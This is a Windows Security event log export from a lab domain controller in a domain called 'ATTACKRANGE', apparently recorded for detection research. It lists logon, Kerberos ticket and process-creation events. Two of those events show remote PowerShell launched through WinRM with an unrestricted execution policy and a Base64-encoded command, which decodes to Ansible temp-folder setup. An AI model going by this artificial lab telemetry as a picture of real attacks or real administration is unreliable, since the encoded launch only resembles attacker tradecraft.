Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12E45E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00C2C944-BA79-362D-F776-9BBD2E4E8E56}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251249
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{00C2C944-BA79-362D-F776-9BBD2E4E8E56}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251248
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{00C2C944-BA79-362D-F776-9BBD2E4E8E56}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251247
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251246
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12CCB9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10c4
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1128
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251345
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x130E65

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251344
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x130E65
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{6D98D746-6FBE-9454-9779-F3EB3AD55CE7}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251343
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{6D98D746-6FBE-9454-9779-F3EB3AD55CE7}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251342
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{6D98D746-6FBE-9454-9779-F3EB3AD55CE7}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251341
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251340
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12EEA9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1308
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x10d4
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBBAGsAQQBIAFEAQQBiAFEAQgB3AEEARgA4AEEAYwBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBEADAAQQBJAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBSAFEAQgB1AEEASABZAEEAYQBRAEIAeQBBAEcAOABBAGIAZwBCAHQAQQBHAFUAQQBiAGcAQgAwAEEARgAwAEEATwBnAEEANgBBAEUAVQBBAGUAQQBCAHcAQQBHAEUAQQBiAGcAQgBrAEEARQBVAEEAYgBnAEIAMgBBAEcAawBBAGMAZwBCAHYAQQBHADQAQQBiAFEAQgBsAEEARwA0AEEAZABBAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEAYwB3AEEAbwBBAEMAYwBBAEoAUQBCAFUAQQBFAFUAQQBUAFEAQgBRAEEAQwBVAEEASgB3AEEAcABBAEEAbwBBAEoAQQBCADAAQQBHADAAQQBjAEEAQQBnAEEARAAwAEEASQBBAEIATwBBAEcAVQBBAGQAdwBBAHQAQQBFAGsAQQBkAEEAQgBsAEEARwAwAEEASQBBAEEAdABBAEYAUQBBAGUAUQBCAHcAQQBHAFUAQQBJAEEAQgBFAEEARwBrAEEAYwBnAEIAbABBAEcATQBBAGQAQQBCAHYAQQBIAEkAQQBlAFEAQQBnAEEAQwAwAEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEAWAB3AEIAdwBBAEcARQBBAGQAQQBCAG8AQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAEoAdwBCAGgAQQBHADQAQQBjAHcAQgBwAEEARwBJAEEAYgBBAEIAbABBAEMAMABBAGQAQQBCAHQAQQBIAEEAQQBMAFEAQQB4AEEARABZAEEATQBRAEEAMABBAEQAWQBBAE0AQQBBAHkAQQBEAFUAQQBOAGcAQQA0AEEAQwA0AEEATgBBAEEAMQBBAEQAawBBAE0AZwBBADAAQQBDADAAQQBOAFEAQQA1AEEARABnAEEATQB3AEEAMwBBAEQAUQBBAE4AdwBBADIAQQBEAGsAQQBNAHcAQQAyAEEARABnAEEATwBRAEEAMgBBAEMAYwBBAEMAZwBCAFgAQQBIAEkAQQBhAFEAQgAwAEEARwBVAEEATABRAEIAUABBAEgAVQBBAGQAQQBCAHcAQQBIAFUAQQBkAEEAQQBnAEEAQwAwAEEAUwBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBFADgAQQBZAGcAQgBxAEEARwBVAEEAWQB3AEIAMABBAEMAQQBBAEoAQQBCADAAQQBHADAAQQBjAEEAQQB1AEEARQBZAEEAZABRAEIAcwBBAEcAdwBBAFQAZwBCAGgAQQBHADAAQQBaAFEAQQBLAEEARQBrAEEAWgBnAEEAZwBBAEMAZwBBAEwAUQBCAHUAQQBHADgAQQBkAEEAQQBnAEEAQwBRAEEAUAB3AEEAcABBAEMAQQBBAGUAdwBBAGcAQQBFAGsAQQBaAGcAQQBnAEEAQwBnAEEAUgB3AEIAbABBAEgAUQBBAEwAUQBCAFcAQQBHAEUAQQBjAGcAQgBwAEEARwBFAEEAWQBnAEIAcwBBAEcAVQBBAEkAQQBCAE0AQQBFAEUAQQBVAHcAQgBVAEEARQBVAEEAVwBBAEIASgBBAEYAUQBBAFEAdwBCAFAAQQBFAFEAQQBSAFEAQQBnAEEAQwAwAEEAUgBRAEIAeQBBAEgASQBBAGIAdwBCAHkAQQBFAEUAQQBZAHcAQgAwAEEARwBrAEEAYgB3AEIAdQBBAEMAQQBBAFUAdwBCAHAAQQBHAHcAQQBaAFEAQgB1AEEASABRAEEAYgBBAEIANQBBAEUATQBBAGIAdwBCAHUAQQBIAFEAQQBhAFEAQgB1AEEASABVAEEAWgBRAEEAcABBAEMAQQBBAGUAdwBBAGcAQQBHAFUAQQBlAEEAQgBwAEEASABRAEEASQBBAEEAawBBAEUAdwBBAFEAUQBCAFQAQQBGAFEAQQBSAFEAQgBZAEEARQBrAEEAVgBBAEIARABBAEUAOABBAFIAQQBCAEYAQQBDAEEAQQBmAFEAQQBnAEEARQBVAEEAYgBBAEIAegBBAEcAVQBBAEkAQQBCADcAQQBDAEEAQQBaAFEAQgA0AEEARwBrAEEAZABBAEEAZwBBAEQARQBBAEkAQQBCADkAQQBDAEEAQQBmAFEAQQA9AA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251339
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12EEA9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10d4
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x133c
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBBAGsAQQBIAFEAQQBiAFEAQgB3AEEARgA4AEEAYwBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBEADAAQQBJAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBSAFEAQgB1AEEASABZAEEAYQBRAEIAeQBBAEcAOABBAGIAZwBCAHQAQQBHAFUAQQBiAGcAQgAwAEEARgAwAEEATwBnAEEANgBBAEUAVQBBAGUAQQBCAHcAQQBHAEUAQQBiAGcAQgBrAEEARQBVAEEAYgBnAEIAMgBBAEcAawBBAGMAZwBCAHYAQQBHADQAQQBiAFEAQgBsAEEARwA0AEEAZABBAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEAYwB3AEEAbwBBAEMAYwBBAEoAUQBCAFUAQQBFAFUAQQBUAFEAQgBRAEEAQwBVAEEASgB3AEEAcABBAEEAbwBBAEoAQQBCADAAQQBHADAAQQBjAEEAQQBnAEEARAAwAEEASQBBAEIATwBBAEcAVQBBAGQAdwBBAHQAQQBFAGsAQQBkAEEAQgBsAEEARwAwAEEASQBBAEEAdABBAEYAUQBBAGUAUQBCAHcAQQBHAFUAQQBJAEEAQgBFAEEARwBrAEEAYwBnAEIAbABBAEcATQBBAGQAQQBCAHYAQQBIAEkAQQBlAFEAQQBnAEEAQwAwAEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEAWAB3AEIAdwBBAEcARQBBAGQAQQBCAG8AQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAEoAdwBCAGgAQQBHADQAQQBjAHcAQgBwAEEARwBJAEEAYgBBAEIAbABBAEMAMABBAGQAQQBCAHQAQQBIAEEAQQBMAFEAQQB4AEEARABZAEEATQBRAEEAMABBAEQAWQBBAE0AQQBBAHkAQQBEAFUAQQBOAGcAQQA0AEEAQwA0AEEATgBBAEEAMQBBAEQAawBBAE0AZwBBADAAQQBDADAAQQBOAFEAQQA1AEEARABnAEEATQB3AEEAMwBBAEQAUQBBAE4AdwBBADIAQQBEAGsAQQBNAHcAQQAyAEEARABnAEEATwBRAEEAMgBBAEMAYwBBAEMAZwBCAFgAQQBIAEkAQQBhAFEAQgAwAEEARwBVAEEATABRAEIAUABBAEgAVQBBAGQAQQBCAHcAQQBIAFUAQQBkAEEAQQBnAEEAQwAwAEEAUwBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBFADgAQQBZAGcAQgBxAEEARwBVAEEAWQB3AEIAMABBAEMAQQBBAEoAQQBCADAAQQBHADAAQQBjAEEAQQB1AEEARQBZAEEAZABRAEIAcwBBAEcAdwBBAFQAZwBCAGgAQQBHADAAQQBaAFEAQQBLAEEARQBrAEEAWgBnAEEAZwBBAEMAZwBBAEwAUQBCAHUAQQBHADgAQQBkAEEAQQBnAEEAQwBRAEEAUAB3AEEAcABBAEMAQQBBAGUAdwBBAGcAQQBFAGsAQQBaAGcAQQBnAEEAQwBnAEEAUgB3AEIAbABBAEgAUQBBAEwAUQBCAFcAQQBHAEUAQQBjAGcAQgBwAEEARwBFAEEAWQBnAEIAcwBBAEcAVQBBAEkAQQBCAE0AQQBFAEUAQQBVAHcAQgBVAEEARQBVAEEAVwBBAEIASgBBAEYAUQBBAFEAdwBCAFAAQQBFAFEAQQBSAFEAQQBnAEEAQwAwAEEAUgBRAEIAeQBBAEgASQBBAGIAdwBCAHkAQQBFAEUAQQBZAHcAQgAwAEEARwBrAEEAYgB3AEIAdQBBAEMAQQBBAFUAdwBCAHAAQQBHAHcAQQBaAFEAQgB1AEEASABRAEEAYgBBAEIANQBBAEUATQBBAGIAdwBCAHUAQQBIAFEAQQBhAFEAQgB1AEEASABVAEEAWgBRAEEAcABBAEMAQQBBAGUAdwBBAGcAQQBHAFUAQQBlAEEAQgBwAEEASABRAEEASQBBAEEAawBBAEUAdwBBAFEAUQBCAFQAQQBGAFEAQQBSAFEAQgBZAEEARQBrAEEAVgBBAEIARABBAEUAOABBAFIAQQBCAEYAQQBDAEEAQQBmAFEAQQBnAEEARQBVAEEAYgBBAEIAegBBAEcAVQBBAEkAQQBCADcAQQBDAEEAQQBaAFEAQgA0AEEARwBrAEEAZABBAEEAZwBBAEQARQBBAEkAQQBCADkAQQBDAEEAQQBmAFEAQQA9AA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251338
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x130C58

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251337
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x130C58
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{6D98D746-6FBE-9454-9779-F3EB3AD55CE7}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251336
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{6D98D746-6FBE-9454-9779-F3EB3AD55CE7}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251335
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{6D98D746-6FBE-9454-9779-F3EB3AD55CE7}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

